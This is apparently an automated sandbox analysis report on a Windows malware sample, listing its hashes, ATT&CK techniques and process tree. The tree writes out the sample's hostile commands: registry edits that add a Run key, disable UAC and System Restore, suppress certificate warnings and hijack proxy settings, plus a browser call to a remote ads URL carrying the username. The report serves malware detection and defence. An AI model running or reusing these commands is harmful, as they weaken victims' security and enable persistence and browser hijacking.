eb052448c64afaf6802f6a20f8f01f613c6d292caaa506d89c885255fee277bc

Analysis

max time kernel
137s
max time network
134s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 17:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

701e8508940b27e0b6f25ad054299679.exe
Size

23KB
MD5

701e8508940b27e0b6f25ad054299679
SHA1

e0a02e3fb6a107b265dc8555224feb5dbc66df54
SHA256

eb052448c64afaf6802f6a20f8f01f613c6d292caaa506d89c885255fee277bc
SHA512

1704857f4c5f656ddc969040b88d0562fba348ef1af4a1b30991a3e2ec77307e3d640e3d2ea9e46d4719037815d6484d5939a74eb2f86243a8ab545e4a29fabc
SSDEEP

384:zSdr9sOcIp6wRcsSYLvKWLWbstQTid6HJyraXkqdkJ7PNWo7/tiX1HaNJawcudo2:zSFmOhplcsHvKWzX6HJmFqda7kortjng

Score

10^/10

evasion persistence spyware stealer trojan upx

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2644-0-0x0000000000400000-0x0000000000414000-memory.dmp	upx
behavioral1/memory/2644-172-0x0000000000400000-0x0000000000414000-memory.dmp	upx

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ActiveX Update = "C:\\Users\\Admin\\AppData\\Local\\Temp\\AxUpdateMS.exe"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c00000000000000010000000083ffff0083ffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "412192123"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{4BA02721-BA13-11EE-AD08-DED0D00124D2} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d80bef292bee784c8e3c940d61fdfeb80000000002000000000010660000000100002000000013032c8e76cc1e4ff719e69a4c65741890d8a46d37f0b8b143cd69da1f4b30ad000000000e80000000020000200000001e30e3de0043e0c607243fce76f498e8f5e5f5f5fc5ffded1f4802ff48e381a42000000060df2e916de53624521d4a81996be58cd8c723eab98c3172fced9f5b45247f574000000055270c7bfd13f3c20e1cb049c83a0438a09d192b85eb2315b73943e0043be88652f2262934a5cd1bad5675671dc39707d9d92784e7d052e58858c20f2ebc6f17	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 0028a420204eda01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d80bef292bee784c8e3c940d61fdfeb800000000020000000000106600000001000020000000cbf26454b158f399818a82b72effc9e8aa4f6cc89ba83d4d04db67c3a78a1ccd000000000e80000000020000200000003949c995cf762af9ae5fe611c53abd0ac402ced15b8c6056804f446738f5c4a9900000007d5cc78aa3653ebb9a41e4017e49627856fbd7e3c8c4fbd7206672d144d45d131f665d1a097912d0af22dceb6c357cdacf9edb4809f858680c9a1f2fd83f8898a987cdcdb24b66292012111369e9752f1c2a08c1c82ecda815bc8ec608f2b4bda5ab72f58dc26b7172b1c71dd4432dad8254cf3853ee4b90a9940fbb81ea431dc181e433f90a7a1508ec3427e2e73a8d40000000d772269b20f5df94853ce7d45d72093a3e4d0953bec503b1102f844dd9ebdd04dc16cc67483675e3021658c578716a8eb01ce0f4c7272f581a80e35b70fb91d7	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe

Runs ping.exe 1 TTPs 2 IoCs

Remote System Discovery

T1018

pid	Process
2744	PING.EXE
2236	PING.EXE

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2808	iexplore.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
2808	iexplore.exe
2808	iexplore.exe
2460	IEXPLORE.EXE
2460	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2644 wrote to memory of 1528	2644	701e8508940b27e0b6f25ad054299679.exe	28
PID 2644 wrote to memory of 1528	2644	701e8508940b27e0b6f25ad054299679.exe	28
PID 2644 wrote to memory of 1528	2644	701e8508940b27e0b6f25ad054299679.exe	28
PID 2644 wrote to memory of 1528	2644	701e8508940b27e0b6f25ad054299679.exe	28
PID 1528 wrote to memory of 2908	1528	cmd.exe	30
PID 1528 wrote to memory of 2908	1528	cmd.exe	30
PID 1528 wrote to memory of 2908	1528	cmd.exe	30
PID 1528 wrote to memory of 2908	1528	cmd.exe	30
PID 1528 wrote to memory of 2716	1528	cmd.exe	31
PID 1528 wrote to memory of 2716	1528	cmd.exe	31
PID 1528 wrote to memory of 2716	1528	cmd.exe	31
PID 1528 wrote to memory of 2716	1528	cmd.exe	31
PID 1528 wrote to memory of 2808	1528	cmd.exe	32
PID 1528 wrote to memory of 2808	1528	cmd.exe	32
PID 1528 wrote to memory of 2808	1528	cmd.exe	32
PID 1528 wrote to memory of 2808	1528	cmd.exe	32
PID 1528 wrote to memory of 2744	1528	cmd.exe	33
PID 1528 wrote to memory of 2744	1528	cmd.exe	33
PID 1528 wrote to memory of 2744	1528	cmd.exe	33
PID 1528 wrote to memory of 2744	1528	cmd.exe	33
PID 1528 wrote to memory of 2728	1528	cmd.exe	34
PID 1528 wrote to memory of 2728	1528	cmd.exe	34
PID 1528 wrote to memory of 2728	1528	cmd.exe	34
PID 1528 wrote to memory of 2728	1528	cmd.exe	34
PID 1528 wrote to memory of 2576	1528	cmd.exe	35
PID 1528 wrote to memory of 2576	1528	cmd.exe	35
PID 1528 wrote to memory of 2576	1528	cmd.exe	35
PID 1528 wrote to memory of 2576	1528	cmd.exe	35
PID 2576 wrote to memory of 2236	2576	cmd.exe	36
PID 2576 wrote to memory of 2236	2576	cmd.exe	36
PID 2576 wrote to memory of 2236	2576	cmd.exe	36
PID 2576 wrote to memory of 2236	2576	cmd.exe	36
PID 2576 wrote to memory of 2828	2576	cmd.exe	37
PID 2576 wrote to memory of 2828	2576	cmd.exe	37
PID 2576 wrote to memory of 2828	2576	cmd.exe	37
PID 2576 wrote to memory of 2828	2576	cmd.exe	37
PID 2808 wrote to memory of 2460	2808	iexplore.exe	38
PID 2808 wrote to memory of 2460	2808	iexplore.exe	38
PID 2808 wrote to memory of 2460	2808	iexplore.exe	38
PID 2808 wrote to memory of 2460	2808	iexplore.exe	38
PID 1528 wrote to memory of 2324	1528	cmd.exe	39
PID 1528 wrote to memory of 2324	1528	cmd.exe	39
PID 1528 wrote to memory of 2324	1528	cmd.exe	39
PID 1528 wrote to memory of 2324	1528	cmd.exe	39
PID 1528 wrote to memory of 2256	1528	cmd.exe	40
PID 1528 wrote to memory of 2256	1528	cmd.exe	40
PID 1528 wrote to memory of 2256	1528	cmd.exe	40
PID 1528 wrote to memory of 2256	1528	cmd.exe	40
PID 1528 wrote to memory of 2312	1528	cmd.exe	41
PID 1528 wrote to memory of 2312	1528	cmd.exe	41
PID 1528 wrote to memory of 2312	1528	cmd.exe	41
PID 1528 wrote to memory of 2312	1528	cmd.exe	41
PID 1528 wrote to memory of 2264	1528	cmd.exe	42
PID 1528 wrote to memory of 2264	1528	cmd.exe	42
PID 1528 wrote to memory of 2264	1528	cmd.exe	42
PID 1528 wrote to memory of 2264	1528	cmd.exe	42
PID 1528 wrote to memory of 2148	1528	cmd.exe	43
PID 1528 wrote to memory of 2148	1528	cmd.exe	43
PID 1528 wrote to memory of 2148	1528	cmd.exe	43
PID 1528 wrote to memory of 2148	1528	cmd.exe	43
PID 1528 wrote to memory of 2196	1528	cmd.exe	44
PID 1528 wrote to memory of 2196	1528	cmd.exe	44
PID 1528 wrote to memory of 2196	1528	cmd.exe	44
PID 1528 wrote to memory of 2196	1528	cmd.exe	44

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1620	attrib.exe
2356	attrib.exe
1872	attrib.exe

C:\Users\Admin\AppData\Local\Temp\701e8508940b27e0b6f25ad054299679.exe
"C:\Users\Admin\AppData\Local\Temp\701e8508940b27e0b6f25ad054299679.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2644
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\76C5.tmp\Untitled.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2908
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "ActiveX Update" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\AxUpdateMS.exe"
    3⤵
    - Adds Run key to start application
    PID:2716
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" "juju.firepackets.org/ads.php?a=Admin&b=QVMRJQQO"
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2808
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2808 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2460
- - C:\Windows\SysWOW64\PING.EXE
    C:\Windows\system32\ping.exe www.google.com.br -n 1 -l 1
    3⤵
    - Runs ping.exe
    PID:2744
- - C:\Windows\SysWOW64\find.exe
    find "TTL"
    3⤵
    PID:2728
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\system32\ping.exe ju.firepackets.org -l 1 -n 1 | C:\Windows\system32\find.exe "TTL"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2576
  - - C:\Windows\SysWOW64\PING.EXE
      C:\Windows\system32\ping.exe ju.firepackets.org -l 1 -n 1
      4⤵
      Runs ping.exe
      PID:2236
  - - C:\Windows\SysWOW64\find.exe
      C:\Windows\system32\find.exe "TTL"
      4⤵
      PID:2828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2324
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "file://C:\Users\Admin\AppData\Local\Temp/KB_QVMRJQQO.txt" /f
    3⤵
    PID:2256
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2312
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
    3⤵
    PID:2264
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2148
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
    3⤵
    PID:2196
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2748
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
    3⤵
    PID:2912
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2192
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
    3⤵
    PID:1580
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2080
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
    3⤵
    PID:1920
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2380
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
    3⤵
    PID:828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2128
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "AutoConfigUrl" /d "file://C:\Users\Admin\AppData\Local\Temp/KB_QVMRJQQO.txt" /f
    3⤵
    PID:2936
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:436
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "EnableHttp1_1" /t reg_dword /d 00000001 /f
    3⤵
    PID:2464
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:3040
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyEnable" /t reg_dword /d 00000000 /f
    3⤵
    PID:1524
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1520
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "ProxyHttp1.1" /t reg_dword /d 00000000 /f
    3⤵
    PID:1052
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1284
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "Autoconfig" /t reg_dword /d 00000001 /f
    3⤵
    PID:1376
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1712
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "AdvancedTab" /t reg_dword /d 00000001 /f
    3⤵
    PID:1544
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1080
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Internet Explorer\Control Panel" /v "ResetWebSettings" /t reg_dword /d 00000001 /f
    3⤵
    PID:1008
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1536
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 00000000 /f
    3⤵
    - UAC bypass
    PID:1696
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c dir "\Users\Admin\.." /b /s | find "prefs.js"
    3⤵
    PID:368
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" dir "\Users\Admin\.." /b /s "
      4⤵
      PID:1984
  - - C:\Windows\SysWOW64\find.exe
      find "prefs.js"
      4⤵
      PID:1304
- - C:\Windows\SysWOW64\attrib.exe
    attrib.exe -r "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\kzcnpuah.default-release\prefs.js "
    3⤵
    - Views/modifies file attributes
    PID:1620
- - C:\Windows\SysWOW64\attrib.exe
    attrib.exe -r "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\kzcnpuah.default-release\prefs.js "
    3⤵
    - Views/modifies file attributes
    PID:2356
- - C:\Windows\SysWOW64\attrib.exe
    attrib.exe +r "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\kzcnpuah.default-release\prefs.js "
    3⤵
    - Views/modifies file attributes
    PID:1872
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe export HKU C:\Users\Admin\AppData\Local\Temp\~r.tmp
    3⤵
    PID:1768
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" type C:\Users\Admin\AppData\Local\Temp\~r.tmp "
    3⤵
    PID:1980
- - C:\Windows\SysWOW64\find.exe
    C:\Windows\system32\find.exe "Internet Explorer\Main"
    3⤵
    PID:2000
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c type C:\Users\Admin\AppData\Local\Temp\~i.tmp | C:\Windows\system32\find.exe "S-1-5-21"
    3⤵
    PID:3028
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" type C:\Users\Admin\AppData\Local\Temp\~i.tmp "
      4⤵
      PID:2900
  - - C:\Windows\SysWOW64\find.exe
      C:\Windows\system32\find.exe "S-1-5-21"
      4⤵
      PID:2232
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:3020
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKU\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnonBadCertRecving" /t REG_DWORD /d "0x00000000" /f
    3⤵
    PID:1632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1812
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKU\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v "WarnOnIntranet" /t REG_DWORD /d "0x00000000" /f
    3⤵
    PID:2328
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKU\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap" /v "AutoDetect" /t REG_DWORD /d "0x00000000" /f
    3⤵
    PID:564
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:2648
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo y"
    3⤵
    PID:1168
- - C:\Windows\SysWOW64\reg.exe
    C:\Windows\system32\reg.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v DisableSR /t REG_DWORD /d 0x00000001 /f
    3⤵
    PID:988

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
9a4aac0b6d4d3f84d9de7182ab8a6a80

SHA1
ef15d18ab9aa306f453a5d8e37d52c41fe089c79

SHA256
687961127c4bed37261bc70501d9e55e7f10b1a061f62e196164ceba24811eb9

SHA512
879eab26328dbcba0518faa9e958ae9acba2517194e39e38e73b9567eae0c3454fbe75e42fc460d5e052abbe55b0e515e455fd8bb7e96a85fef2faadef080f20

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
d133db4d076be22ca3495505ec604783

SHA1
1fe5a142a89041ecd2c985f1f9e065730f479eff

SHA256
7c0f68dbc70549f3753de200f5961ee3395943c1cde7ecd88dd5e946f6ffaf0e

SHA512
b099cbef9e945bf0c18aca545a43288b4ee900243e25ae6188ac5bc59615d19f6a2d38a66b775d0260dc00c5213e61bcdf9af34235040e4f5428eaf95ad4eeeb

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
0d78adcd11d42f8ee90ceb4c47d5272a

SHA1
a49320bf1fe877b69d9dfb61395c0747a822ca02

SHA256
ff0e39007804410f35e3d534245ddd65ab0cfe5c8f9bb2c0374f3e17d7a0d6f9

SHA512
430396371d79f5f5676c2dfba4054fe542c371138a726fd3fecbae63dd36ca34cec1d0f11b14c1ca27783c99a264dbbc8ef258591ba9e4f9b456f0bdcf970b93

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
796c5d28499731f7583842c78bf1d966

SHA1
7c75841447bd5baa1834a5461fad74fc48450e6d

SHA256
dbfd3162265a9fe1541bf1fcdeeb4b2bf8ea58fef315908ee253bf4334fd2399

SHA512
24b923d17a0da8df4128060dfa351c922cb8b2b9f46672855ed3646f604971d4408c8c2fca0db2d869b23ee04cc2e045230057e6f07c563c3cb46935d307909c

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
8841c553078d2b16125f9ffcd40975ad

SHA1
916a31a65d92c55f2b1afe716b7400488c648a66

SHA256
f1ed6300582cb667debf91ed196e1fd85731b4a31b6334cf52cb57d833b0073c

SHA512
d264e60c222dde8f3bef6ad4c7162e43ad826677c576a69f83283f79bf483e9c147f2bc4dc20d596cbe65f82c33e34bf8d92f75efa5fda27406399f6d27d61e5

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
6c4b78cd539302ac2c8b753c695c1f4f

SHA1
069d22d2f184dae4763e1f1c77d415a1318ee86b

SHA256
482256f332809d6a851fbcf181a0b2024a1cbdb1a624ed5ac467cc37682525ce

SHA512
459a17c356c2d2ee62fcd3968866a3afb879f988a706d2ed1534f09ce68bf7cbbafa343c58d618cc70d2c6c27ee0f9df546aba451df0e4f54de72eb7f9b94c96

Download Submit
